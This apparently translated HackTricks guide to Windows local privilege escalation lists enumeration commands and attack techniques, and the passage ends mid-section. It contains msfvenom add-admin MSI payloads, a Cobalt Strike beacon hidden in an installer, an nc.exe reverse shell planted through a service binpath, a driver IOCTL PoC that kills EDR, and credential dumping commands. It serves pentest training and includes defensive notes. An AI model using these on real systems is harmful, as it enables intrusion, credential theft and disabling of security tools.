Windows Local Privilege Escalation

Reading time: 59 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Najbolji alat za pronalaženje Windows local privilege escalation vectors: WinPEAS

Initial Windows Theory

Access Tokens

Ako ne znate šta su Windows Access Tokens, pročitajte sledeću stranicu pre nego što nastavite:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Pogledajte sledeću stranicu za više informacija o ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Ako ne znate šta su integrity levels u Windows, trebalo bi da pročitate sledeću stranicu pre nego što nastavite:

Integrity Levels

Windows Security Controls

Postoje različite stvari u Windows koje bi mogle da vam spreče da enumerišete sistem, pokrenete izvršne fajlove ili čak detektuju vaše aktivnosti. Trebalo bi da pročitate sledeću stranicu i enumerišete sve ove mehanizme odbrane pre nego što započnete privilege escalation enumeration:

Windows Security Controls

System Info

Version info enumeration

Proverite da li Windows verzija ima neku poznatu ranjivost (proverite i primenjene zakrpe).

bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
bash
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

This site je koristan za pretraživanje detaljnih informacija o Microsoft security vulnerabilities. Ova baza ima više od 4,700 security vulnerabilities, pokazujući massive attack surface koji Windows environment predstavlja.

Na sistemu

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

Lokalno sa informacijama o sistemu

Github repos of exploits:

Okruženje

Ima li neki credential/Juicy info sačuvan u env variables?

bash
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell istorija

bash
ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Transcript files

Saznajte kako da omogućite ovo na https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Detalji izvršavanja PowerShell pipeline-a se beleže, obuhvatajući izvršene komande, pozive komandi i delove skripti. Međutim, potpuni detalji izvršavanja i rezultati izlaza možda neće biti zabeleženi.

Da biste ovo omogućili, sledite uputstva u odeljku "Transcript files" dokumentacije, birajući "Module Logging" umesto "Powershell Transcription".

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Da biste pregledali poslednjih 15 događaja iz PowersShell logova, možete izvršiti:

bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Kompletan zapis aktivnosti i pun sadržaj izvršavanja skripte beleže se, čime se osigurava da je svaki blok koda dokumentovan tokom izvršavanja. Ovaj proces čuva obuhvatan revizorski zapis svake aktivnosti, koristan za forenziku i analizu zlonamernog ponašanja. Dokumentovanjem svih aktivnosti u trenutku izvršenja dobijaju se detaljni uvidi u proces.

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Zapis događaja za Script Block možete pronaći u Windows Event Viewer-u na putanji: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Da biste videli poslednjih 20 događaja možete koristiti:

bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet podešavanja

bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Diskovi

bash
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Možete kompromitovati sistem ako se ažuriranja ne zahtevaju koristeći httpS, već http.

Počinjete proverom da li mreža koristi WSUS ažuriranja bez SSL-a izvršavanjem sledećeg u cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Ili sledeće u PowerShell-u:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Ako dobijete odgovor kao jedan od ovih:

bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
bash
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

A ako HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer ili Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" ima vrednost 1.

Tada, it is exploitable. Ako je poslednja vrednost registra jednaka 0, tada će WSUS unos biti ignorisan.

Da biste iskoristili ove ranjivosti možete koristiti alate kao što su: Wsuxploit, pyWSUS - To su MiTM weaponized exploit skripte za injektovanje 'lažnih' ažuriranja u non-SSL WSUS saobraćaj.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
U suštini, ovo je propust koji ovaj bug iskorišćava:

Ako imamo mogućnost da izmenimo proxy za lokalnog korisnika, i Windows Updates koristi proxy konfigurisan u Internet Explorer podešavanjima, tada imamo mogućnost da lokalno pokrenemo PyWSUS da presretnemo sopstveni saobraćaj i pokrenemo kod kao povišeni korisnik na našem asset-u.

Dalje, pošto WSUS servis koristi podešavanja trenutnog korisnika, koristiće i njegovo skladište sertifikata. Ako generišemo self-signed sertifikat za WSUS hostname i dodamo taj sertifikat u certificate store trenutnog korisnika, bićemo u mogućnosti da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-slične mehanizme za implementaciju trust-on-first-use tipa validacije sertifikata. Ako je predstavljeni sertifikat trusted od strane korisnika i ima ispravan hostname, biće prihvaćen od strane servisa.

Možete iskoristiti ovu ranjivost koristeći alat WSUSpicious (kad bude objavljen).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Mnogi enterprise agenti izlažu localhost IPC interfejs i privilegovani update kanal. Ako se enrollment može primorati na attackerski server i updater veruje rogue root CA ili ima slabe provere potpisivača, lokalni korisnik može dostaviti maliciozni MSI koji SYSTEM servis instalira. Pogledajte generalizovanu tehniku (zasnovanu na Netskope stAgentSvc lancu – CVE-2025-0309) ovde:

Abusing Auto Updaters And Ipc

KrbRelayUp

Postoji local privilege escalation ranjivost u Windows domain okruženjima pod specifičnim uslovima. Ti uslovi uključuju okruženja gde LDAP signing nije enforced, korisnici imaju dovoljne privilegije da konfigurišu Resource-Based Constrained Delegation (RBCD), i mogućnost da korisnici kreiraju računare unutar domena. Važno je napomenuti da su ovi zahtevi ispunjeni koristeći default podešavanja.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

Za više informacija o toku napada pogledajte https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If ova 2 unosa u registru su omogućena (vrednost je 0x1), onda korisnici bilo kog privilegovanog nivoa mogu install (pokretati) *.msi fajlove kao NT AUTHORITY\SYSTEM.

bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

bash
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Ako imate meterpreter sesiju, možete automatizovati ovu tehniku koristeći modul exploit/windows/local/always_install_elevated

PowerUP

Koristite komandu Write-UserAddMSI iz PowerUP-a da kreirate u trenutnom direktorijumu Windows MSI binarni fajl za eskalaciju privilegija. Ovaj skript ispiše unapred kompajlirani MSI installer koji traži dodavanje korisnika/grupe (tako da će vam trebati GIU pristup):

Write-UserAddMSI

Samo izvršite kreirani binarni fajl da biste eskalirali privilegije.

MSI Wrapper

Pročitajte ovaj tutorijal da naučite kako da kreirate MSI wrapper koristeći ove alate. Imajte na umu da možete umotati ".bat" fajl ako samo želite da izvršavate komandne linije

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
  • Open Visual Studio, select Create a new project and type "installer" into the search box. Select the Setup Wizard project and click Next.
  • Give the project a name, like AlwaysPrivesc, use C:\privesc for the location, select place solution and project in the same directory, and click Create.
  • Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
  • Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
  • There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
  • Right-click the project and select View > Custom Actions.
  • Right-click Install and select Add Custom Action.
  • Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
  • Under the Custom Action Properties, change Run64Bit to True.
  • Finally, build it.
  • If the warning File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' is shown, make sure you set the platform to x64.

MSI Installation

Da biste izvršili instalaciju malicioznog .msi fajla u pozadini:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Da biste iskoristili ovu ranjivost, možete koristiti: exploit/windows/local/always_install_elevated

Antivirus i detektori

Podešavanja audita

Ova podešavanja odlučuju šta se beleži (logged), zato treba da obratite pažnju

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding — korisno je znati gde se šalju logs

bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS je dizajniran za upravljanje lokalnim Administrator lozinkama, obezbeđujući da je svaka lozinka jedinstvena, nasumična i redovno ažurirana na računarima priključenim na domen. Te lozinke se bezbedno čuvaju u Active Directory i mogu im pristupiti samo korisnici kojima su dodeljena odgovarajuća ovlašćenja putem ACLs, što im omogućava da, ako su autorizovani, pregledaju lokalne administratorske lozinke.

LAPS

WDigest

Ako je aktivan, lozinke u običnom tekstu se čuvaju u LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Počevši od Windows 8.1, Microsoft je uveo poboljšanu zaštitu za Local Security Authority (LSA) kako bi blokirao pokušaje nepouzdanih procesa da čitaju njegovu memoriju ili da injektuju kod, dodatno osiguravajući sistem.
More info about LSA Protection here

bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard je uveden u Windows 10. Njegova svrha je da zaštiti podatke za prijavu sačuvane na uređaju od pretnji kao što su pass-the-hash napadi.| More info about Credentials Guard here.

bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials se autentifikuju od strane Local Security Authority (LSA) i koriste ih komponente operativnog sistema. Kada su korisnički podaci za prijavu autentifikovani od strane registrovanog security package-a, za korisnika se obično uspostavljaju domain credentials.
Više informacija o Cached Credentials ovde.

bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Korisnici i grupe

Enumeracija korisnika i grupa

Trebalo bi da proverite da li neka od grupa čiji ste član ima zanimljive dozvole

bash
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privilegovane grupe

Ako pripadate nekoj privilegovanoj grupi, možda ćete moći da eskalirate privilegije. Saznajte o privilegovanim grupama i kako ih zloupotrebiti da biste eskalirali privilegije ovde:

Privileged Groups

Token manipulation

Saznajte više o tome šta je token na ovoj stranici: Windows Tokens.
Pogledajte sledeću stranicu da biste saznali o interesantnim tokenima i kako ih zloupotrebiti:

Abusing Tokens

Prijavljeni korisnici / sesije

bash
qwinsta
klist sessions

Kućni direktorijumi

bash
dir C:\Users
Get-ChildItem C:\Users

Politika lozinki

bash
net accounts

Dohvati sadržaj međuspremnika

bash
powershell -command "Get-Clipboard"

Aktivni procesi

Dozvole za fajlove i foldere

Prvo, pri listanju procesa check for passwords inside the command line of the process.
Proveri da li možeš overwrite some binary running ili da li imaš write permissions of the binary folder da iskoristiš moguće DLL Hijacking attacks:

bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Uvek proverite da li rade electron/cef/chromium debuggers — možete ih iskoristiti za eskalaciju privilegija.

Provera dozvola binarnih fajlova procesa

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Provera dozvola foldera binarnih fajlova procesa (DLL Hijacking)

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Možete napraviti dump memorije pokrenutog procesa koristeći procdump iz sysinternals. Servisi kao FTP često imaju credentials in clear text in memory — pokušajte da dumpujete memoriju i pročitate credentials.

bash
procdump.exe -accepteula -ma <proc_name_tasklist>

Nesigurne GUI aplikacije

Aplikacije koje se pokreću kao SYSTEM mogu omogućiti korisniku da pokrene CMD, ili pregleda direktorijume.

Primer: "Windows Help and Support" (Windows + F1), pretražite "command prompt", kliknite na "Click to open Command Prompt"

Servisi

Dobijte listu servisa:

bash
net start
wmic service list brief
sc query
Get-Service

Dozvole

Možete koristiti sc da dobijete informacije o servisu

bash
sc qc <service_name>

Preporučuje se imati binarni fajl accesschk iz Sysinternals za proveru potrebnog nivoa privilegija za svaku uslugu.

bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Preporučuje se proveriti da li "Authenticated Users" mogu izmeniti bilo koju uslugu:

bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Možete preuzeti accesschk.exe za XP ovde

Omogući servis

Ako dobijate ovu grešku (na primer sa SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Možete ga omogućiti koristeći

bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Imajte na umu da servis upnphost zavisi od SSDPSRV da bi radio (za XP SP1)

Još jedno workaround ovog problema je pokretanje:

sc.exe config usosvc start= auto

Promeni putanju binarne datoteke servisa

U scenariju u kojem grupa "Authenticated users" poseduje SERVICE_ALL_ACCESS nad servisom, moguće je izmeniti izvršnu binarnu datoteku servisa. Da biste izmenili i pokrenuli sc:

bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Ponovo pokreni servis

bash
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privilegije se mogu eskalirati kroz sledeće dozvole:

  • SERVICE_CHANGE_CONFIG: Omogućava rekonfiguraciju binarnog fajla servisa.
  • WRITE_DAC: Omogućava rekonfiguraciju dozvola, što može dovesti do mogućnosti izmene konfiguracije servisa.
  • WRITE_OWNER: Dozvoljava preuzimanje vlasništva i rekonfiguraciju dozvola.
  • GENERIC_WRITE: Omogućava promenu konfiguracije servisa.
  • GENERIC_ALL: Takođe omogućava promenu konfiguracije servisa.

Za otkrivanje i eksploataciju ove ranjivosti može se koristiti exploit/windows/local/service_permissions.

Slabe dozvole nad servisnim binarnim fajlovima

Proverite da li možete izmeniti binarni fajl koji pokreće servis ili da li imate write permissions na folder gde se binarni fajl nalazi (DLL Hijacking).
Možete dobaviti sve binarne fajlove koje servis izvršava koristeći wmic (not in system32) i proveriti svoje dozvole koristeći icacls:

bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Takođe možete koristiti sc i icacls:

bash
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Dozvole za izmenu registra servisa

Treba da proverite da li možete da izmenite bilo koji registar servisa.
Možete proveriti svoje dozvole nad registrom servisa tako što ćete:

bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Treba proveriti da li Authenticated Users ili NT AUTHORITY\INTERACTIVE poseduju FullControl dozvole. Ako je tako, binarni fajl koji servis izvršava može biti izmenjen.

Da biste promenili Path binarnog fajla koji se izvršava:

bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

Ako imate ovu dozvolu nad registry, to znači da možete kreirati sub registries iz ovog. U slučaju Windows services ovo je dovoljno za izvršavanje proizvoljnog koda:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

Ako putanja do izvršnog fajla nije u navodnicima, Windows će pokušati da izvrši svaki deo putanje koji prethodi razmaku.

Na primer, za putanju C:\Program Files\Some Folder\Service.exe Windows će pokušati da izvrši:

bash
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Navedite sve putanje servisa bez navodnika, osim onih koje pripadaju ugrađenim Windows servisima:

bash
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
bash
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
bash
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Možete otkriti i iskoristiti ovu ranjivost pomoću metasploit: exploit/windows/local/trusted\_service\_path Možete ručno kreirati servisni binarni fajl pomoću metasploit:

bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Radnje oporavka

Windows omogućava korisnicima da navedu radnje koje treba preduzeti ako servis zakaže. Ova funkcija može biti konfigurisana da pokazuje na binary. Ako je taj binary zamenjiv, privilege escalation može biti moguć. Više detalja možete naći u zvaničnoj dokumentaciji.

Aplikacije

Instalirane aplikacije

Proverite permissions of the binaries (možda možete overwrite jedan od njih i escalate privileges) i folders (DLL Hijacking).

bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Dozvole za pisanje

Proverite da li možete izmeniti neku config datoteku da biste pročitali neku posebnu datoteku ili da li možete izmeniti neki binarni fajl koji će biti izvršen pod Administrator nalogom (schedtasks).

Jedan način da pronađete slabe dozvole foldera/datoteka u sistemu je da uradite:

bash
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
bash
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
bash
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Pokretanje pri podizanju sistema

Proverite da li možete prepisati neki registry ili binarni fajl koji će biti izvršen od strane drugog korisnika.
Pročitajte sledeću stranicu da saznate više o interesantnim autoruns lokacijama za eskalaciju privilegija:

Privilege Escalation with Autoruns

Drajveri

Potražite moguće drajvere trećih strana koji su čudni/ranjivi

bash
driverquery
driverquery.exe /fo table
driverquery /SI

If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:

Arbitrary Kernel Rw Token Theft

Zloupotreba izostanka FILE_DEVICE_SECURE_OPEN na device objektima (LPE + EDR kill)

Neki potpisani third‑party driveri kreiraju svoj device object sa jakim SDDL putem IoCreateDeviceSecure, ali zaborave da postave FILE_DEVICE_SECURE_OPEN u DeviceCharacteristics. Bez ovog flag‑a, secure DACL se ne primenjuje kada se device otvori kroz putanju koja sadrži dodatnu komponentu, što omogućava bilo kojem neprivilegovanom korisniku da dobije handle koristeći namespace putanju kao:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Kada korisnik može da otvori device, privileged IOCTLs eksponirani od strane drivera mogu se zloupotrebiti za LPE i tampering. Primeri mogućnosti viđenih u realnom svetu:

  • Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
  • Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.

Minimalni PoC obrazac (user mode):

c
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigacije za programere

  • Uvek postavite FILE_DEVICE_SECURE_OPEN kada kreirate device objects koji treba da budu ograničeni DACL-om.
  • Validirajte kontekst pozivaoca za privilegovane operacije. Dodajte PP/PPL provere pre dozvole za terminaciju procesa ili vraćanje handle-a.
  • Ograničite IOCTLs (access masks, METHOD_*, input validation) i razmislite o brokered modelima umesto direktnih kernel privilegija.

Ideje za detekciju za odbrambene timove

  • Pratite user-mode otvaranja sumnjivih device imena (npr., \ .\amsdk*) i specifične IOCTL sekvence koje ukazuju na zloupotrebu.
  • Sprovodite Microsoft-ovu vulnerable driver blocklistu (HVCI/WDAC/Smart App Control) i održavajte svoje allow/deny liste.

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Za više informacija o tome kako zloupotrebiti ovu proveru:

Writable Sys Path +Dll Hijacking Privesc

Mreža

Deljeni resursi

bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Proverite da li se u hosts file nalaze drugi poznati računari.

type C:\Windows\System32\drivers\etc\hosts

Mrežni interfejsi & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

Proverite da li su ograničeni servisi dostupni spolja.

bash
netstat -ano #Opened ports?

Tabela rutiranja

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP tabela

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall pravila

Check this page for Firewall related commands (prikaži pravila, kreiraj pravila, isključi, isključi...)

Više commands for network enumeration here

Windows Subsystem for Linux (wsl)

bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binar bash.exe se takođe može naći u C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Ako dobijete root user, možete slušati na bilo kom portu (prvi put kada koristite nc.exe za slušanje na portu, GUI će pitati da li nc treba da bude dozvoljen od strane firewalla).

bash
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Da biste lako pokrenuli bash kao root, možete probati --default-user root

Možete istražiti WSL fajl-sistem u folderu C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows kredencijali

Winlogon kredencijali

bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
